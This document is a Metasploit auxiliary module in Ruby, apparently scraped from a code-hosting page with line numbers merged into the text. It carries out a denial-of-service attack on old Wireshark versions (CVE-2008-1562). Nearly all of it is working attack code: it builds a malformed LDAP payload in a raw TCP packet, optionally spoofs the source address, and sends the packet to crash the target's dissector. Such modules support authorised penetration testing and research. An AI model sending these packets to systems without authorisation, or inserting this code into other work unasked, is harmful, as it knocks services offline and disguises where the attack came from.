Path: blob/master/modules/auxiliary/dos/wireshark/ldap.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Wireshark LDAP Dissector DOS',12'Description' => %q{13The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers14to cause a denial of service (application crash) via a malformed packet.15},16'Author' => ['MC'],17'License' => MSF_LICENSE,18'References' => [19[ 'CVE', '2008-1562' ],20[ 'OSVDB', '43840' ],21],22'DisclosureDate' => 'Mar 28 2008',23'Notes' => {24'Stability' => [CRASH_SERVICE_DOWN],25'SideEffects' => [],26'Reliability' => []27}28)2930register_options([31OptInt.new('RPORT', [true, 'The destination port', 389]),32OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])33])3435deregister_options('FILTER', 'PCAPFILE')36end3738def run39open_pcap4041print_status("Sending malformed LDAP packet to #{rhost}")4243m = Rex::Text.rand_text_alpha_lower(3)4445p = PacketFu::TCPPacket.new46p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)47p.ip_daddr = rhost48p.tcp_ack = rand(0x100000000)49p.tcp_flags.syn = 150p.tcp_flags.ack = 151p.tcp_dport = datastore['RPORT'].to_i52p.tcp_win = 307253p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"54p.recalc55capture_sendto(p, rhost)5657close_pcap58end59end606162